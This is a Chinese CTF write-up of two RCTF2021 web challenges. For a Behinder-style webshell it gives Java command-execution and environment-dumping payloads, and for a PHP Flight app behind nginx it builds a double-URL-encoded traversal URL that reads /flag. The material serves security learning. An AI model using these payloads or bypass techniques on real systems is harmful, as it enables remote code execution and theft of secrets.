Skip to content

Latest commit

 

History

History
1194 lines (926 loc) · 41.5 KB

RCTF2021-Web复现.md

File metadata and controls

1194 lines (926 loc) · 41.5 KB

前言

RCTF当时没打,感觉还是错过了学习的机会。今天下午看firebasky师傅的github的时候偶然看到了RCTF的题目,所以打算找个时间把这个比赛的Web复现一下。

ezshell

Misc里面的一道Web,get访问/shell之后可以得到源码反编译之后审计一下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Method;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import sun.misc.BASE64Decoder;

@WebServlet({"/shell"})
public class shellbx extends HttpServlet {
    public shellbx() {
    }

    protected void service(HttpServletRequest request, HttpServletResponse response) {
        try {
            String k;
            if (request.getMethod().equals("POST")) {
                response.getWriter().write("post");
                k = "e45e329feb5d925b";
                HttpSession session = request.getSession();
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                byte[] evilClassBytes = (new BASE64Decoder()).decodeBuffer(request.getReader().readLine());

                class U extends ClassLoader {
                    U(ClassLoader c) {
                        super(c);
                    }

                    public Class g(byte[] b) {
                        return super.defineClass(b, 0, b.length);
                    }
                }

                Class evilClass = (new U(this.getClass().getClassLoader())).g(c.doFinal(evilClassBytes));
                Object a = evilClass.newInstance();
                Method b = evilClass.getMethod("e", Object.class, Object.class);
                b.invoke(a, request, response);
            } else {
                k = "ROOT.war";
                String path = System.getProperty("user.dir") + File.separator + ".." + File.separator + "webapps" + File.separator + k;
                File file = new File(path);
                String filename = file.getName();
                BufferedInputStream fis = new BufferedInputStream(new FileInputStream(path));
                byte[] buffer = new byte[fis.available()];
                fis.read(buffer);
                fis.close();
                response.reset();
                response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes()));
                response.addHeader("Content-Length", "" + file.length());
                BufferedOutputStream toClient = new BufferedOutputStream(response.getOutputStream());
                response.setContentType("application/octet-stream");
                toClient.write(buffer);
                toClient.flush();
                toClient.close();
            }
        } catch (Exception var10) {
        }

    }
}

很明显的类似冰蝎那个jsp马,但是连不上,查了一下说是因为冰蝎还存在密钥协商的过程。

不过代码的逻辑还是很容易理解的,就是post传过去一个先经过AES加密再经过Base64加密的一个恶意类的字节码,然后调用这个类的e()方法。

所以就写这么个恶意类,然后产生payload:

package com.feng.test;

import javassist.ClassPool;
import javassist.CtClass;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.Base64;

public class Evil {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("com.feng.test.Evil");
        byte[] code = clazzz.toBytecode();
        String k = "e45e329feb5d925b";
        Cipher c = Cipher.getInstance("AES");
        c.init(1, new SecretKeySpec(k.getBytes(), "AES"));
        byte[] bytes = c.doFinal(code);
        String str = new String(Base64.getEncoder().encode(bytes));
        System.out.println(str);
    }
    //HttpServletRequest request, HttpServletResponse response
    public void e(Object req,Object resp) throws Exception{
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) resp;
        String[] cmd = {"/bin/sh","-c",request.getParameter("cmd")};
        //String[] cmd = {"cmd","/c",request.getParameter("cmd")};
        Process inProcess = (Process) Runtime.getRuntime().exec(cmd);


        InputStream in = inProcess.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(in));
        String line;

        byte[] bcache = new byte[1024];
        int readSize = 0;
        try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
            while ((readSize =in.read(bcache))!=-1){
                outputStream.write(bcache,0,readSize);
            }
            response.getWriter().println(outputStream.toString());
            //System.out.println(outputStream.toString());
        }
    }
}

然后我本地打通了复现的docker那边死活没回显:

image-20211103172357082

看了一下各种writeup,才看到好像题目的环境是不出网,过滤了内存马和命令执行,还给了个提示:冰蝎basicinfo。

这个basicinfo是啥,咱也不知道,咱也不敢问,把冰蝎的那个jar包解压缩然后拿IDEA打开,查找一下basicinfo,找到了net/rebeyond/behinder/payload/java/BasicInfo.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package net.rebeyond.behinder.payload.java;

import java.io.File;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class BasicInfo {
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    public BasicInfo() {
    }

    public boolean equals(Object obj) {
        String result = "";
        boolean var22 = false;

        Object so;
        Method write;
        label132: {
            try {
                var22 = true;
                this.fillContext(obj);
                StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
                Map<String, String> env = System.getenv();
                Iterator var5 = env.keySet().iterator();

                while(var5.hasNext()) {
                    String name = (String)var5.next();
                    basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
                }

                basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
                Properties props = System.getProperties();
                Set<Entry<Object, Object>> entrySet = props.entrySet();
                Iterator var7 = entrySet.iterator();

                while(var7.hasNext()) {
                    Entry<Object, Object> entry = (Entry)var7.next();
                    basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
                }

                String currentPath = (new File("")).getAbsolutePath();
                String driveList = "";
                File[] roots = File.listRoots();
                File[] var10 = roots;
                int var11 = roots.length;

                for(int var12 = 0; var12 < var11; ++var12) {
                    File f = var10[var12];
                    driveList = driveList + f.getPath() + ";";
                }

                String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
                Map<String, String> entity = new HashMap();
                entity.put("basicInfo", basicInfo.toString());
                entity.put("currentPath", currentPath);
                entity.put("driveList", driveList);
                entity.put("osInfo", osInfo);
                entity.put("arch", System.getProperty("os.arch"));
                result = this.buildJson(entity, true);
                var22 = false;
                break label132;
            } catch (Exception var26) {
                var22 = false;
            } finally {
                if (var22) {
                    try {
                        Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        Method write = so.getClass().getMethod("write", byte[].class);
                        write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var23) {
                    }

                }
            }

            try {
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so);
            } catch (Exception var24) {
            }

            return true;
        }

        try {
            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var25) {
        }

        return true;
    }

    private byte[] Encrypt(byte[] bs) throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        byte[] raw = key.getBytes("utf-8");
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, skeySpec);
        byte[] encrypted = cipher.doFinal(bs);
        return encrypted;
    }

    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("\"" + key + "\":\"");
            String value = ((String)entity.get(key)).toString();
            if (encode) {
                Class Base64;
                Object Encoder;
                if (version.compareTo("1.9") >= 0) {
                    this.getClass();
                    Base64 = Class.forName("java.util.Base64");
                    Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    this.getClass();
                    Base64 = Class.forName("sun.misc.BASE64Encoder");
                    Encoder = Base64.newInstance();
                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                    value = value.replace("\n", "").replace("\r", "");
                }
            }

            sb.append(value);
            sb.append("\",");
        }

        sb.setLength(sb.length() - 1);
        sb.append("}");
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
            this.Session = obj.getClass().getMethod("getSession").invoke(obj);
        } else {
            Map<String, Object> objMap = (Map)obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }

        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }
}

看这样子是输出env还有一些系统基础的东西,也没有涉及到命令执行,所以可能就是flag在环境变量里。所以其实直接把System.getenv()的结果输出出来可能也能得到flag,为了保险把冰蝎的这个basicInfo魔改一下:

package com.feng.test;

import javassist.ClassPool;
import javassist.CtClass;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Method;
import java.util.*;

public class Evil {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("com.feng.test.Evil");
        byte[] code = clazzz.toBytecode();
        String k = "e45e329feb5d925b";
        Cipher c = Cipher.getInstance("AES");
        c.init(1, new SecretKeySpec(k.getBytes(), "AES"));
        byte[] bytes = c.doFinal(code);
        String str = new String(Base64.getEncoder().encode(bytes));
        System.out.println(str);
    }
    //HttpServletRequest request, HttpServletResponse response
    public void e(Object req,Object resp) throws Exception{
        HttpServletResponse response = (HttpServletResponse) resp;
        String result = "";

        try {
            StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
            Map<String, String> env = System.getenv();
            Iterator var5 = env.keySet().iterator();

            while(var5.hasNext()) {
                String name = (String)var5.next();
                basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
            }

            basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
            Properties props = System.getProperties();
            Set<Entry<Object, Object>> entrySet = props.entrySet();
            Iterator var7 = entrySet.iterator();

            while(var7.hasNext()) {
                Entry<Object, Object> entry = (Entry)var7.next();
                basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
            }

            String currentPath = (new File("")).getAbsolutePath();
            String driveList = "";
            File[] roots = File.listRoots();
            File[] var10 = roots;
            int var11 = roots.length;

            for(int var12 = 0; var12 < var11; ++var12) {
                File f = var10[var12];
                driveList = driveList + f.getPath() + ";";
            }

            String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
            Map<String, String> entity = new HashMap();
            entity.put("basicInfo", basicInfo.toString());
            entity.put("currentPath", currentPath);
            entity.put("driveList", driveList);
            entity.put("osInfo", osInfo);
            entity.put("arch", System.getProperty("os.arch"));
            result = this.buildJson(entity, false);
        } catch (Exception var26) {
        } finally {
                try {
                    response.getWriter().println(result);
                } catch (Exception var23) {
                }
        }
    }

    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("\"" + key + "\":\"");
            String value = ((String)entity.get(key)).toString();
            if (encode) {
                Class Base64;
                Object Encoder;
                if (version.compareTo("1.9") >= 0) {
                    this.getClass();
                    Base64 = Class.forName("java.util.Base64");
                    Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    this.getClass();
                    Base64 = Class.forName("sun.misc.BASE64Encoder");
                    Encoder = Base64.newInstance();
                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                    value = value.replace("\n", "").replace("\r", "");
                }
            }

            sb.append(value);
            sb.append("\",");
        }

        sb.setLength(sb.length() - 1);
        sb.append("}");
        return sb.toString();
    }
}

运行main产生payload打过去就行。

image-20211103180443494

EasyPHP

先分析一下nginx.conf,也是一个一个查的来好好的学一波。

listen:监听设置。

server_name:设置虚拟主机的名称,域名,可以通配符、正则。

如果当一个名称匹配多个 server 的是时候,匹配优先级如下:

  1. 确切的名称
  2. 以 * 开头的最长的通配符名称
  3. 以 * 结尾的最长通配符名称
  4. 第一个匹配的正则表达式

location:根据 URI 进行配置设置。

location [ = | ~ | ~* | ^~ ] uri { ... }
  • none,如果没有修饰符,则将该位置解释为前缀匹配。这意味着给定的位置将根据请求URI的开头进行匹配,以确定匹配
  • =,代表精确匹配,完全相等即匹配
  • ~,区分大小写的正则表达式匹配
  • ~*,不区分大小写的正则表达式匹配
  • ^~,普通字符匹配,如果该选项匹配,只匹配该选项

所以本题中的都是None,即为前缀匹配,Z3ratu1师傅就是利用了这个前缀匹配的漏洞对/admin进行了绕过。

allow和deny:指令是由ngx_http_access_module模块提供,用于访问控制,用于ip控制。本题里面肯定就是匹配/admin前缀的只允许ip为127.0.0.1的访问。

try_files:其作用是按顺序检查文件是否存在,返回第一个找到的文件或文件夹(结尾加斜线表示为文件夹),如果所有的文件或文件夹都找不到,会进行一个内部重定向到最后一个参数。

在这里其实就是,先检查$document_root$uri是否存在,如果不存在就内部重定向到@phpfpm

    location @phpfpm {
        include        fastcgi_params;
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_pass   php:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root/index.php;
        fastcgi_param  REQUEST_URI  $uri;
    }

它最上面设置了root /var/www/html;,而$url就是请求那部分了,比如请求/admin?hello=world,那么nginx这里的$url/admin

所以这里很明显是被转交给@phpfpm处理。

fastcgi_pass:address为后端的fastcgi server的地址。

fastcgi_index:fastcgi默认的主页资源。

fastcgi_param:传递给FastCGI服务器的参数值,可以是文本,变量或组合。

需要注意到这个REQUEST_URI$uri,这个就比较重要了,后面会利用到。

接下来开始本题的解题。

看一下index.php里面的路由,各种操作:

<?php
session_start();
require 'flight/autoload.php';
use flight\Engine;
$app = new Engine();

$username = "admin";
$password = uniqid("asdfsadf",true)."YouWillNerveKnow";// you will never know the password

function isdanger($v){
    if(is_array($v)){
        foreach($v as $k=>$value){
            if(isdanger($k)||isdanger($value)){
                return true;
            }
        }
    }else{
        if(strpos($v,"../")!==false){
            return true;
        }
    }
    return false;
}

$app->before("start",function(){
    foreach([$_GET,$_POST,$_COOKIE,$_FILES] as $value){
        if(isdanger($value)){
            die("go away hack");
        }
    }
});
$app->route('/*', function(){
    global $app;
    $request = $app->request();
    $app->render("head",[],"head_content");
    if(stristr($request->url,"login")!==FALSE){
        return true;
    }else{
        if($_SESSION["user"]){
            return true;
        }
        $app->redirect("/login");
    }

    
});


$app->route('/admin', function(){
    global $app;
    $request = $app->request();
    $app->render("admin",["data"=>"./".$request->query->data],"body_content");
    $app->render("template",[]);
});

$app->route("GET /login",function(){
    global $app;
    $request = $app->request();
    $app->render("login",["fail"=>$request->query->fail],"body_content");
    $app->render("template",[]);
});

$app->route("POST /login",function(){
    global $username,$password,$app;
    $request  = $app->request();
    if($request->data->username === $username && $request->data->password === $password){
        $_SESSION["user"] = $username;
        $app->redirect("/");
        return;
    }
    $app->redirect("/login?fail=1");
});

$app->route("GET /",function(){
    global $app;
    $app->render("index",[],"body_content");
    $app->render("template",[]);
});

$app->start();

在admin视图里面发现了任意文件读取:

<h3>File List:</h3>
<script>
</script>
<div class="bg-light border rounded-3" style="white-space: pre-line">
    <?php
        $dir = pathinfo($data?$data:".",PATHINFO_DIRNAME);
        foreach(scandir($dir) as $v){
            echo "<a href=\"/admin?data=$dir/$v\">$v</a><br />";
        }
    ?>
</div>
<?php if ($data) { ?><h3><?= $data . ":" ?></h3>
    <div class="bg-light border rounded-3"><code style="white-space: pre-line"><?php echo file_get_contents($data); ?></code></div><?php } ?>

所以利用点就是/admin路由了。

所以第一步就是/admin路由的绕过,因为nginx对这里做了只允许本地访问。

首先还是先简单的分析一下flight框架的整个流程吧。

关键的$app是个Engine类:$app = new Engine();。这部分的初始化可以跳过,唯一需要注意的就是初始化中某些默认的设置(比如路由默认不区分大小写)。

接下来的就是$app->before(xxxx,xxxx)还有$app->$app->route(xxxx,xxxx)了,before这里就大致知道,在路径处理之前调用那个回调函数即可。看一下route()的运作,比如第一个:

$app->route('/*', function(){
    global $app;
    $request = $app->request();
    $app->render("head",[],"head_content");
    if(stristr($request->url,"login")!==FALSE){
        return true;
    }else{
        if($_SESSION["user"]){
            return true;
        }
        $app->redirect("/login");
    }
});

第一个参数是路由(也可能包含请求方法),第二个参数就是访问这个路由时调用的回调函数(也就是相应的处理了)。

对于route,调用的函数其实是Engine.php_route()

    public function _route($pattern, $callback, $pass_route = false) {
        $this->router()->map($pattern, $callback, $pass_route);
    }

router()产生router类的对象,然后调用它的map()方法:

    public function map($pattern, $callback, $pass_route = false) {
        $url = $pattern;
        $methods = array('*');

        if (strpos($pattern, ' ') !== false) {
            list($method, $url) = explode(' ', trim($pattern), 2);
            $url = trim($url);
            $methods = explode('|', $method);
        }

        $this->routes[] = new Route($url, $callback, $methods, $pass_route);
    }

其实就是根据提供的参数创建Route对象,添加到$this>routes[]里面,Route对象里面包括请求的url(可能包含通配符),回调函数,请求的方式(Get,Post)等。

创建这么多个Route对象之后,最后一行$app->start();。虽然它这里实际上调用的是_start()方法,但是中间的处理还是需要跟进一下的,因为之前的那个before()设置的waf就是在这里调用到的。

先是进去__call()方法:

    public function __call($name, $params) {
        $callback = $this->dispatcher->get($name);

        if (is_callable($callback)) {
            return $this->dispatcher->run($name, $params);
        }

        if (!$this->loader->get($name)) {
            throw new \Exception("{$name} must be a mapped method.");
        }

        $shared = (!empty($params)) ? (bool)$params[0] : true;

        return $this->loader->load($name, $shared);
    }

$namestart,得到了一个$callback,然后进入$this->dispatcher->run($name, $params);

    public function run($name, array $params = array()) {
        $output = '';

        // Run pre-filters
        if (!empty($this->filters[$name]['before'])) {
            $this->filter($this->filters[$name]['before'], $params, $output);
        }

        // Run requested method
        $output = $this->execute($this->get($name), $params);

        // Run post-filters
        if (!empty($this->filters[$name]['after'])) {
            $this->filter($this->filters[$name]['after'], $params, $output);
        }

        return $output;
    }

可以发现那个Run pre-filters,就是调用之前waf的那个回调函数,就不细跟了,知道那个waf在这里调用的就可以了:

    foreach([$_GET,$_POST,$_COOKIE,$_FILES] as $value){
        if(isdanger($value)){
            die("go away hack");
        }
    }

执行完 pre-filters之后就是$output = $this->execute($this->get($name), $params);,跟进:

    public static function execute($callback, array &$params = array()) {
        if (is_callable($callback)) {
            return is_array($callback) ?
                self::invokeMethod($callback, $params) :
                self::callFunction($callback, $params);
        }
        else {
            throw new \Exception('Invalid callback specified.');
        }
    }

进入self::invokeMethod($callback, $params) :,最终调用:

        switch (count($params)) {
            case 0:
                return ($instance) ?
                    $class->$method() :
                    $class::$method();

进入_start()

    public function _start() {
        $dispatched = false;
        $self = $this;
        $request = $this->request();
        $response = $this->response();
        $router = $this->router();

        // Allow filters to run
        $this->after('start', function() use ($self) {
            $self->stop();
        });

        // Flush any existing output
        if (ob_get_length() > 0) {
            $response->write(ob_get_clean());
        }

        // Enable output buffering
        ob_start();

        // Route the request
        while ($route = $router->route($request)) {
            $params = array_values($route->params);

            // Add route info to the parameter list
            if ($route->pass) {
                $params[] = $route;
            }

            // Call route handler
            $continue = $this->dispatcher->execute(
                $route->callback,
                $params
            );

            $dispatched = true;

            if (!$continue) break;

            $router->next();

            $dispatched = false;
        }

        if (!$dispatched) {
            $this->notFound();
        }
    }

考虑到后面需要取$request->query->data,还需要关注一下request的产生:$request = $this->request();,继续跟进一下就可以看到是在这里调用了newInstance

            if ($shared) {
                $obj = ($exists) ?
                    $this->getInstance($name) :
                    $this->newInstance($class, $params);

然后创建实例:

        switch (count($params)) {
            case 0:
                return new $class();

关注Request类对象的query属性的产生:

    public function __construct($config = array()) {
        // Default properties
        if (empty($config)) {
            $config = array(
                'url' => str_replace('@', '%40', self::getVar('REQUEST_URI', '/')),
                'base' => str_replace(array('\\',' '), array('/','%20'), dirname(self::getVar('SCRIPT_NAME'))),
                'method' => self::getMethod(),
                'referrer' => self::getVar('HTTP_REFERER'),
                'ip' => self::getVar('REMOTE_ADDR'),
                'ajax' => self::getVar('HTTP_X_REQUESTED_WITH') == 'XMLHttpRequest',
                'scheme' => self::getScheme(),
                'user_agent' => self::getVar('HTTP_USER_AGENT'),
                'type' => self::getVar('CONTENT_TYPE'),
                'length' => self::getVar('CONTENT_LENGTH', 0),
                'query' => new Collection($_GET),
                'data' => new Collection($_POST),
                'cookies' => new Collection($_COOKIE),
                'files' => new Collection($_FILES),
                'secure' => self::getScheme() == 'https',
                'accept' => self::getVar('HTTP_ACCEPT'),
                'proxy_ip' => self::getProxyIpAddress(),
                'host' => self::getVar('HTTP_HOST'),
            );
        }

        $this->init($config);

new Collection($_GET)其实就是创建个类,它的data属性就是$_GET

    public function __construct(array $data = array()) {
        $this->data = $data;
    }

而在init()中则有了很关键的处理:

    public function init($properties = array()) {
        // Set all the defined properties
        foreach ($properties as $name => $value) {
            $this->$name = $value;
        }

        // Get the requested URL without the base directory
        if ($this->base != '/' && strlen($this->base) > 0 && strpos($this->url, $this->base) === 0) {
            $this->url = substr($this->url, strlen($this->base));
        }
        // Default url
        if (empty($this->url)) {
            $this->url = '/';
        }
        // Merge URL query parameters with $_GET
        else {
            $_GET += self::parseQuery($this->url);
            var_dump($_GET);
            $this->query->setData($_GET);
        }

        // Check for JSON input
        if (strpos($this->type, 'application/json') === 0) {
            $body = $this->getBody();
            if ($body != '') {
                $data = json_decode($body, true);
                if (is_array($data)) {
                    $this->data->setData($data);
                }
            }
        }

    }

注意到这里的self::getVar('SCRIPT_NAME')其实就是$fastcgi_script_name,这地方其实可以认为就是和$url是内容相同的东西,然后dirname处理一下,其实就是取得最后一个/之前的内容。

然后再看:

        if ($this->base != '/' && strlen($this->base) > 0 && strpos($this->url, $this->base) === 0) {
            $this->url = substr($this->url, strlen($this->base));
        }

就相当于把url最后一个/之前的内容都给去掉了,这个处理在这个nginx.conf的情况下就很容易把/admin这个deny的waf给绕了,比如/feng/admin,即可绕nginx,但最后处理的却还是/admin,但是Nginx那里却绕过了以/admin开头的限制waf。继续分析。

先调用self::parseQuery($this->url);

    public static function parseQuery($url) {
        $params = array();

        $args = parse_url($url);
        if (isset($args['query'])) {
            parse_str($args['query'], $params);
        }

        return $params;
    }

先进行解析,然后再对query部分再进行一次parse_str将参数转换成数组。这里需要注意的就是,parse_str会url解码一次,把这个点记住,很关键。

把返回的结果放进$_GET,然后再把它设置成$this->query->data。至此$this->query->data的来源就搞清楚了。回到_start()方法继续跟进这个while循环:

        while ($route = $router->route($request)) {
            $params = array_values($route->params);

            // Add route info to the parameter list
            if ($route->pass) {
                $params[] = $route;
            }

            // Call route handler
            $continue = $this->dispatcher->execute(
                $route->callback,
                $params
            );

            $dispatched = true;

            if (!$continue) break;

            $router->next();

            $dispatched = false;
        }

跟进$router->route($request)

    public function route(Request $request) {

        $url_decoded = urldecode( $request->url );

        while ($route = $this->current()) {
            if ($route !== false && $route->matchMethod($request->method) && $route->matchUrl($url_decoded, $this->case_sensitive)) {
                return $route;
            }
            $this->next();
        }

        return false;
    }

又是一个很关键的地方,它会对当前请求的url进行一次url解码,要记住这个点。

然后遍历$this->routes,找到当前的路由和$this->routes中设置的对应的路由路径匹配上的,请求方法也匹配的,就把这个$route返回,返回之后其实就是调用设置的回调函数了:

            // Call route handler
            $continue = $this->dispatcher->execute(
                $route->callback,
                $params
            );

弄清楚了整个流程,再回过头来看看匹配路由的那个函数$route->matchUrl($url_decoded, $this->case_sensitive)

    public function matchUrl($url, $case_sensitive = false) {
        // Wildcard or exact match
        if ($this->pattern === '*' || $this->pattern === $url) {
            return true;
        }

        $ids = array();
        $last_char = substr($this->pattern, -1);

        // Get splat
        if ($last_char === '*') {
            $n = 0;
            $len = strlen($url);
            $count = substr_count($this->pattern, '/');

            for ($i = 0; $i < $len; $i++) {
                if ($url[$i] == '/') $n++;
                if ($n == $count) break;
            }

            $this->splat = (string)substr($url, $i+1);
        }

        // Build the regex for matching
        $regex = str_replace(array(')','/*'), array(')?','(/?|/.*?)'), $this->pattern);

        $regex = preg_replace_callback(
            '#@([\w]+)(:([^/\(\)]*))?#',
            function($matches) use (&$ids) {
                $ids[$matches[1]] = null;
                if (isset($matches[3])) {
                    return '(?P<'.$matches[1].'>'.$matches[3].')';
                }
                return '(?P<'.$matches[1].'>[^/\?]+)';
            },
            $regex
        );

        // Fix trailing slash
        if ($last_char === '/') {
            $regex .= '?';
        }
        // Allow trailing slash
        else {
            $regex .= '/?';
        }

        // Attempt to match route and named parameters
        if (preg_match('#^'.$regex.'(?:\?.*)?$#'.(($case_sensitive) ? '' : 'i'), $url, $matches)) {
            foreach ($ids as $k => $v) {
                $this->params[$k] = (array_key_exists($k, $matches)) ? urldecode($matches[$k]) : null;
            }

            $this->regex = $regex;

            return true;
        }

        return false;
    }

又是一堆又臭又长的正则匹配代码。。。正则就不看了,有个处理上的细节需要注意。注意到题目一开始注册的路由:

$app->route('/*', function(){
    global $app;
    $request = $app->request();
    $app->render("head",[],"head_content");
    if(stristr($request->url,"login")!==FALSE){
        return true;
    }else{
        if($_SESSION["user"]){
            return true;
        }
        $app->redirect("/login");
    }
});

必须要求登录成功或者stristr($request->url,"login")!==FALSE才可以return true,登录肯定是不可能了,所以只能stristr($request->url,"login")!==FALSE,这部分即使不看那个正则,也知道该怎么绕了,传个?login即可。

那么分析了这么多,接下来就该正式解题了。首先就是这个:

    location /admin {
        allow 127.0.0.1;
        deny all;
    }

三种方法吧,一种就是利用之前提到的,会截掉最后一个/值钱的东西,所以拿/feng/admin来绕过。第二种就利用默认不区分大小写这个点,拿大小写绕过即可。第三种就是利用上面处理路由的时候会url解码一次,把路由url编码来绕过即可。

然后就是绕这里:

$app->route('/*', function(){
    global $app;
    $request = $app->request();
    $app->render("head",[],"head_content");
    if(stristr($request->url,"login")!==FALSE){
        return true;
    }else{
        if($_SESSION["user"]){
            return true;
        }
        $app->redirect("/login");
    }
});

很容易了,要么?login,要么/login/admin都可以。

但是最后的那个路径穿越的waf就有一点难绕过了:

function isdanger($v){
    if(is_array($v)){
        foreach($v as $k=>$value){
            if(isdanger($k)||isdanger($value)){
                //return true;
                //return false;
            }
        }
    }else{
        if(strpos($v,"../")!==false){
            return true;
        }
    }
    return false;
}

必须要结合nginx来进行分析。已知的有这些:

  • phpfpm处理的$url是不包括请求参数的,即我们的/feng/admin,不包括?xxx=xxxx
  • isdanger处理的$_GET是处理路由之前的$_GET,即比如请求的是/feng/admin?login=123,那么phpfpm处理的$url/feng/admin,而$_GET得到?login=123那部分。
  • flight会在isdanger的waf工作之后是先parse_urlparse_strparse_str这里存在一次url解码(忘记了的再往上看一下)

这样看的话get参数那里拿url编码就可以绕过了,因为waf是在前,之后的parse_str会url解码一次。但是,考虑到这里得到的url是不包括请求参数的部分的,问题就出在了这里,nginx在某些配置的情况下,会url解码一层,这个就不细谈了。

简单的来说情况就是,nginx的$url先取的不带请求参数的那部分路径,然后再url解码一次给phpfpm。

因此构造POC:

/feng/admin%3Flogin=1&data=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fflag

首先要把?给url编码一次,../给url编码两次。

这样传过去,首先Nginx会解码一次,变成/feng/admin?login=1&data=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag然后传给phpfpm,最后flight里面Request类的url就是/feng/admin?login=1&data=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag了。

然后waf那里,对$_GET进行过滤,但是这里的$_GET为空,因为$_GET得到的是Nginx获得的请求参数,nginx那里处理的url是/feng/admin%3Flogin=1&data=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fflag,因为?被url编码了一次,所以nginx这里没有取到get参数,所以$_GET为空。

但是../仍然需要二次编码,是因为如果只编码一次,nginx解码之后flight处理的就是../../../flag,还记得上面提到的会截掉最后一个/前面的东西,导致失败,所以还得再url编码一次防止被截掉。

至此,本题分析完毕。中间一直有事情,这道题陆陆续续看了3天,这个文章也写了三题,思路有点不连贯,可能还有写错的地方吧。呜呜呜接下来复习期末去了。